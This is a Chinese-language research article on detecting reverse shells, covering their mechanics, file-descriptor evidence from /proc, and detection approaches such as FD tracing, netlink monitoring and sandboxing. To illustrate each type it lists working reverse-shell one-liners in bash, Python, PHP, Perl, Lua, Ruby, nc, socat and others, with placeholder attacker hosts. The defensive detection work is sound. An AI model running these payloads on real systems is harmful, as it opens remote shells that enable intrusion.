反弹shell检测技术研究

本文研究反弹shell原理、类型、检测思路及方法...

0x01 基础原理

1. 描述

Shell攻击者指定服务端,并将需要受害服务器执行的命令(标准输入、标准输出、标准错误等)重定向到该服务端。受害服务器主动连接攻击者的服务端程序,攻击者的服务端通过监听来自受害服务器的请求,对目标服务器下发指令并获取执行结果。

2. 本质

本质:控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端

网络通信+命令执行+重定向方式:命令执行和网络通信借助重定向,构建出一条流动的数据通道,攻击者利用这条通道下发指令控制受害服务器

  • 网络通信可以使用TCP、UDP、ICMP等协议,TCP协议再细分又可以包含HTTP、HTTPS协议等,UDP包含DNS等。

  • 命令执行可以通过调用Shell解释器、Glibc库、Syscall等方式实现。

  • 重定向可以通过管道、成对的伪终端、内存文件等实现。

3. 网络通信(Network api)

四层协议

1
2
3
4
5
1) /dev/[tcp|udp]: 文件描述符+重定向

2) 通过建立socket tcp连接实现网络通信

3) 通过ICMP协议实现网络通信

七层协议

1
1) 使用DNS实现网络通信

0x02 检测方法

1. 常规检测(特征匹配)

常见的检测方案是通过正则匹配的方式,提取反弹Shell命令的特征去匹配命令日志、流量日志。该方案具有以下不足:

  • 命令日志采集不完整:例如通过Netlink等方式采集的日志,在碰到管道符、重定向时会无法采集完整的原始执行命令。而通过Patch Bash的方式记录命令日志,在遇到服务器使用Zsh、Ksh等其他Shell环境,或攻击者上传自己编译的Bash时会失效。

  • 正则匹配无法覆盖无穷无尽的文本对抗:攻击者可以不断挖掘出新的变形方式来绕过正则匹配。在实际业务场景中,过多复杂的正则匹配会带来更大性能压力,而通配性更广的正则匹配会带来更多误报。

  • 特征匹配失效:在网络流量被加密后,特征匹配会失效

2. 分类检测

FD检测技术、从行为目的出发的异常命令行为序列检测技术、异常Shell启动检测和常规的命令、网络特征覆盖方案

a. 直接重定向Shell解释器的输入输出到Socket类型

常见场景

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
1) bash -i >& /dev/tcp/Rhost/Rport 0>&1

2) python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("Rhost",Rport));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'

3) php -r '$sock=fsockopen("Rhost",Rport);exec("/bin/sh -i <&3 >&3 2>&3");'

4) perl -e 'use
Socket;$i="Rhost";$p=Rport;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/sh -i");};'

5) lua -e "require('socket');require('os');t=socket.tcp();t:connect('Rhost','Rport');os.execute('/bin/sh -i <&3 >&3 2>&3');"
1
2
3
4
5
6
7
8
9
10
11
lrwx------. 1 root root 64 Feb 13 16:35 0 -> socket:[1202940]
lrwx------. 1 root root 64 Feb 13 16:35 1 -> socket:[1202940]
lrwx------. 1 root root 64 Feb 13 16:35 2 -> socket:[1202940]
lrwx------. 1 root root 64 Feb 13 16:35 255 -> socket:[1202940]

bash<>5
lrwx------. 1 root root 64 Feb 13 18:58 0 -> socket:[29023953]
lrwx------. 1 root root 64 Feb 13 18:58 1 -> socket:[29023953]
lrwx------. 1 root root 64 Feb 13 18:58 2 -> socket:[29023953]
lrwx------. 1 root root 64 Feb 13 18:58 255 -> socket:[29023953]
lrwx------. 1 root root 64 Feb 13 18:58 5 -> socket:[29023953]

特征:该类型反弹Shell通过重定向bash -i的标准输入、标准输出、标准错误到/dev/tcp Socket进行网络通信

检测思路:通过检测Shell的标准输入、标准输出是否被重定向到Socket或检测一些简单的主机网络日志特征来实现

b. 通过管道、伪终端等中转,再重定向Shell的输入输出到中转

通过管道、伪终端等作为中转体,并与Socket打通,重定向Shell解释器的输入输出到中转体

常见场景

管道中转

1
2
3
4
5
6
7
8
9
10
11
1) nc Rhost Rport|/bin/sh|nc Rhost 5050 nc -e /bin/bash Rhost Rport nc -c bash Rhost Rport socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:Rhost:Rport

2) mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc Rhost Rport>/tmp/f

3) mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect Rhost:Rport > /tmp/s; rm /tmp/s

4) mknod backpipe p; nc Rhost Rport 0<backpipe | /bin/bash 1>backpipe 2>backpipe

5) bash -c 'exec 5<>/dev/tcp/Rhost/Rport;cat <&5|while read line;do $line >&5 2>&1;done'

6) telnet 10.10.10.10 Rport | /bin/bash | telnet Rhost 5050

匿名管道

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
exec5
lr-x------. 1 root root 64 Feb 13 18:55 0 -> pipe:[29010305]
l-wx------. 1 root root 64 Feb 13 18:55 1 -> pipe:[29010306]
l-wx------. 1 root root 64 Feb 13 18:55 2 -> pipe:[29010306]
lrwx------. 1 root root 64 Feb 13 18:55 5 -> socket:[29011974]

nc-e
lr-x------. 1 root root 64 Feb 13 19:02 0 -> pipe:[29037897]
l-wx------. 1 root root 64 Feb 13 19:02 1 -> pipe:[29037898]
l-wx------. 1 root root 64 Feb 13 19:02 2 -> pipe:[29037898]
lrwx------. 1 root root 64 Feb 13 19:02 3 -> socket:[29039553]
l-wx------. 1 root root 64 Feb 13 19:02 5 -> pipe:[29039554]
lr-x------. 1 root root 64 Feb 13 19:02 6 -> pipe:[29039555]

nc-c
lr-x------. 1 root root 64 Feb 13 19:06 0 -> pipe:[29052945]
l-wx------. 1 root root 64 Feb 13 19:06 1 -> pipe:[29052946]
l-wx------. 1 root root 64 Feb 13 19:06 2 -> pipe:[29052946]
lrwx------. 1 root root 64 Feb 13 19:06 3 -> socket:[29054237]
l-wx------. 1 root root 64 Feb 13 19:06 5 -> pipe:[29054238]
lr-x------. 1 root root 64 Feb 13 19:06 6 -> pipe:[29054239]

ncat-e
lr-x------. 1 root root 64 Feb 13 19:06 0 -> pipe:[29052872]
l-wx------. 1 root root 64 Feb 13 19:06 1 -> pipe:[29052873]
l-wx------. 1 root root 64 Feb 13 19:06 2 -> pipe:[29052873]
lrwx------. 1 root root 64 Feb 13 19:06 3 -> socket:[29054410]
l-wx------. 1 root root 64 Feb 13 19:06 5 -> pipe:[29054411]
lr-x------. 1 root root 64 Feb 13 19:06 6 -> pipe:[29054412]

socat-EXEC
lr-x------. 1 root root 64 Feb 13 19:19 0 -> pipe:[29102002]
l-wx------. 1 root root 64 Feb 13 19:19 1 -> pipe:[29102003]
l-wx------. 1 root root 64 Feb 13 19:19 2 -> pipe:[29102003]
lrwx------. 1 root root 64 Feb 13 19:19 3 -> socket:[29105502]
lrwx------. 1 root root 64 Feb 13 19:19 4 -> socket:[29105503]
lrwx------. 1 root root 64 Feb 13 19:19 5 -> socket:[29105504]
lrwx------. 1 root root 64 Feb 13 19:19 6 -> socket:[29105505]

rcat
lr-x------. 1 root root 64 Feb 13 14:38 0 -> pipe:[318590]
l-wx------. 1 root root 64 Feb 13 14:38 1 -> pipe:[318591]
l-wx------. 1 root root 64 Feb 13 14:38 2 -> pipe:[318591]
lrwx------. 1 root root 64 Feb 13 14:38 3 -> socket:[319517]

php
lr-x------. 1 root root 64 Feb 13 16:44 0 -> pipe:[1226187]
l-wx------. 1 root root 64 Feb 13 16:44 1 -> pipe:[1226188]
l-wx------. 1 root root 64 Feb 13 16:44 2 -> pipe:[1226188]
lrwx------. 1 root root 64 Feb 13 16:44 3 -> socket:[1226491]
lr-x------. 1 root root 64 Feb 13 16:44 4 -> pipe:[1226492]

lr-x------. 1 root root 64 Feb 13 16:56 0 -> pipe:[1244376]
l-wx------. 1 root root 64 Feb 13 16:56 1 -> pipe:[1244377]
l-wx------. 1 root root 64 Feb 13 16:56 2 -> pipe:[1244377]
lrwx------. 1 root root 64 Feb 13 16:56 3 -> socket:[1244535]

bash196
lr-x------. 1 root root 64 Feb 13 18:55 0 -> pipe:[29010277]
l-wx------. 1 root root 64 Feb 13 18:55 1 -> pipe:[29010278]
lrwx------. 1 root root 64 Feb 13 18:55 196 -> socket:[29011043]
l-wx------. 1 root root 64 Feb 13 18:55 2 -> pipe:[29010278]

perl
lrwx------. 1 root root 64 Feb 13 16:36 0 -> socket:[1206445]
lrwx------. 1 root root 64 Feb 13 16:36 1 -> socket:[1206445]
l-wx------. 1 root root 64 Feb 13 16:36 2 -> pipe:[1205125]
lrwx------. 1 root root 64 Feb 13 16:36 3 -> socket:[1206445]

awk
lr-x------. 1 root root 64 Feb 13 18:38 0 -> pipe:[1543339]
l-wx------. 1 root root 64 Feb 13 18:38 1 -> pipe:[1543340]
l-wx------. 1 root root 64 Feb 13 18:38 2 -> pipe:[1543340]
lrwx------. 1 root root 64 Feb 13 18:41 3 -> socket:[2821241]
lrwx------. 1 root root 64 Feb 13 18:41 4 -> socket:[2821241]

自建管道

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
nc-/tmp/f
lr-x------. 1 root root 64 Feb 13 18:58 0 -> pipe:[29024021]
l-wx------. 1 root root 64 Feb 13 18:58 1 -> /tmp/f (deleted)
l-wx------. 1 root root 64 Feb 13 18:58 2 -> pipe:[29021988]
lrwx------. 1 root root 64 Feb 13 18:58 3 -> socket:[29024022]

nc-backpipe
lr-x------. 1 root root 64 Feb 13 19:02 0 -> /root/backpipe
l-wx------. 1 root root 64 Feb 13 19:02 1 -> pipe:[29040260]
l-wx------. 1 root root 64 Feb 13 19:02 2 -> pipe:[29038076]
lrwx------. 1 root root 64 Feb 13 19:02 3 -> socket:[29040261]

telnet-$TF
lr-x------. 1 root root 64 Feb 13 14:47 0 -> /tmp/tmp.5wnXq0URfF
l-wx------. 1 root root 64 Feb 13 14:47 1 -> pipe:[326375]
l-wx------. 1 root root 64 Feb 13 14:47 2 -> pipe:[326286]
lrwx------. 1 root root 64 Feb 13 14:47 3 -> socket:[327426]

telnet-a
lr-x------. 1 root root 64 Feb 13 14:46 0 -> /root/a
l-wx------. 1 root root 64 Feb 13 14:46 1 -> pipe:[325139]
l-wx------. 1 root root 64 Feb 13 14:46 2 -> pipe:[324180]
lrwx------. 1 root root 64 Feb 13 14:46 3 -> socket:[325140]

检测思路:经过层层中转,最终会形成一条流动的数据通道。通过跟踪FD(文件描述符File Descriptor)和进程的关系可以检测该数据通道,判断是否为bash进程,获取bash父进程的/proc/[pid]/fd,判断是否有存在fd重定向到pipe或者socket情况

绕过方法:上传可执行文件、拷贝Bash文件到其他路径等方法会绕过检测

伪终端中转

1
2
python -c 'import 
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.XX.XX",10006));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
python
lrwx------. 1 root root 64 Feb 13 17:29 0 -> socket:[1283078]
lrwx------. 1 root root 64 Feb 13 17:29 1 -> socket:[1283078]
lrwx------. 1 root root 64 Feb 13 17:29 2 -> socket:[1283078]
lrwx------. 1 root root 64 Feb 13 17:29 3 -> socket:[1283078]
lrwx------. 1 root root 64 Feb 13 17:29 4 -> /dev/ptmx

socat-pty
lr-x------. 1 root root 64 Feb 13 19:20 0 -> pipe:[29106145]
l-wx------. 1 root root 64 Feb 13 19:20 1 -> pipe:[29106146]
l-wx------. 1 root root 64 Feb 13 19:20 2 -> pipe:[29106146]
lrwx------. 1 root root 64 Feb 13 19:20 3 -> socket:[29107406]
lrwx------. 1 root root 64 Feb 13 19:20 4 -> socket:[29107407]
lrwx------. 1 root root 64 Feb 13 19:20 5 -> socket:[29107408]
lrwx------. 1 root root 64 Feb 13 19:20 6 -> /dev/ptmx

socat-exec
lr-x------. 1 root root 64 Feb 13 19:23 0 -> pipe:[29118853]
l-wx------. 1 root root 64 Feb 13 19:23 1 -> pipe:[29118854]
l-wx------. 1 root root 64 Feb 13 19:23 2 -> pipe:[29118854]
lrwx------. 1 root root 64 Feb 13 19:23 3 -> socket:[29119524]
lrwx------. 1 root root 64 Feb 13 19:23 4 -> socket:[29119525]
lrwx------. 1 root root 64 Feb 13 19:23 5 -> /dev/ptmx
lrwx------. 1 root root 64 Feb 13 19:23 6 -> socket:[29119528]

通过伪终端中转与通过管道等中转原理一样,但通过伪终端中转的检测难度大大提升,单从Shell的标准输入输出来看,和正常打开的终端没有什么区别。此外,一些场景如容器、各类产品Agent等也会有相似的日志记录,平衡漏报与误报的难度上大大提升。因此需要在文件描述符合检测方案的基础上,结合进程、网络等多种日志信息综合分析

c. 编程语言实现标准输入中转,重定向命令执行的输入到中转

常见场景

1
2
3
4
5
1) python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('Rhost',Rport))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), Shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

2) lua5.1 -e 'local host, port = "Rhost", Rport local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

3) ruby -rsocket -e 'exit if fork;c=TCPSocket.new("Rhost","Rport");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ruby

lr-x------. 1 root root 64 Feb 13 18:37 0 -> pipe:[1319065]
l-wx------. 1 root root 64 Feb 13 18:37 1 -> pipe:[1319066]
l-wx------. 1 root root 64 Feb 13 18:37 2 -> pipe:[1319066]
lr-x------. 1 root root 64 Feb 13 18:37 3 -> pipe:[1319358]
l-wx------. 1 root root 64 Feb 13 18:37 4 -> pipe:[1319358]
lr-x------. 1 root root 64 Feb 13 18:37 5 -> pipe:[1319359]
l-wx------. 1 root root 64 Feb 13 18:37 6 -> pipe:[1319359]
lrwx------. 1 root root 64 Feb 13 18:37 7 -> socket:[1319360]

lua
lr-x------. 1 root root 64 Feb 13 18:41 0 -> pipe:[2720451]
l-wx------. 1 root root 64 Feb 13 18:41 1 -> pipe:[2720452]
l-wx------. 1 root root 64 Feb 13 18:41 2 -> pipe:[2720452]
lrwx------. 1 root root 64 Feb 13 18:41 3 -> socket:[2972610]

这种场景下,反弹Shell的命令执行和正常业务行为变得更加难以区分,对抗程度上升

检测思路: 这类常见可结合进程命令行特征+异常命令行为序列+异常shell启动模型

1
2
3
异常命令行为序列:通过分析命令序列与攻击者获取Shell后行为相似度来判定是否为反弹Shell

异常shell启动模型:结合多维度特征以及机器历史行为综合判定产出告警

3. 纵深检测

a. 分类检测

FD检测技术、从行为目的出发的异常命令行为序列检测技术、异常Shell启动检测和常规的命令、网络特征

b. 脚本沙箱

1
2
3
4
5
6
7
1) 落盘脚本文件: 检测的语言包括但不限于Bash、Python、Perl、Vbs、PowerShell、Bat、JAR等

2) 混淆类样本: 通过每种语言的Trace模式,动态解混淆后进行检测

3) JAR打包类文件: 进行静态反编译并结合动态的运行进行多维度判定

4) 无文件攻击: 命令序列分析

c. 二进制沙箱

对于常见的C/C++、Go、MeterPreter Shellcode等二进制反弹Shell开发方式进行了特殊的识别和处理,综合导入函数特征、代码特征、二进制在沙箱中的动态行为特征等多个维度进行检测

d. 对抗行为检测

针对常见绕过方式,如替换系统Shell、命令编码等,作为辅助手段提升检测效果

0x03 检测总结

1. 进程 file descriptor 检测

1
2
3
4
5
6
7
8
9
1) 检测 file descriptor 是否指向一个socket

以“重定向符”+"/dev/tcp网络通信"Bash反弹Shell这一类最经典的反弹Shell攻击方式为例,这类反弹shell的本质可以归纳为file descriptor的重定向到一个socket句柄

2) 检测 file descriptor 是否指向一个管道符(pipe)

对于利用“管道符”传递指令的反弹shell攻击方式来说,这类反弹shell的本质可以归纳为file descriptor的重定向到一个pipe句柄;不管做了多少层的pipe,反弹shell的本质是将server的输入传递给client的bash,因此肯定存在socket连接。

只需要根据pid追溯pipe上游的进程,并判断其进程fd,检查是否是来自一个socket。例如,跟踪pipe,发现pipe的进程建立了socket连接,那么就存在反弹shell的风险

2. netlink监控+fd异常检测

1
2
3
4
5
6
7
1) 监听Netlink Socket,实时获取进程EXEC事件。

2) 如果为Shell进程,检查进程启动打开的FD,
- 打开了Socket
- 未使用/dev/tty、/dev/pts/n、/dev/ptmx等终端

确认为反弹Shell

绕过风险:仅能通过进程执行文件名判断是否为Shell进程,上传可执行文件、拷贝Bash文件到其他路径等方法会绕过这个方法

3. 脚本文件 && 应用程序 && 无文件(fileless)反弹shell检测

1
2
3
python/perl实现纯代码形式的反弹shell文件执行:文件脚本检测
python/perl实现纯代码形式的反弹shell命令行指令(fileless):纯命令行fileless检测
C/C++实现纯代码形式的反弹shell:二进制文件检测

0xFF Reference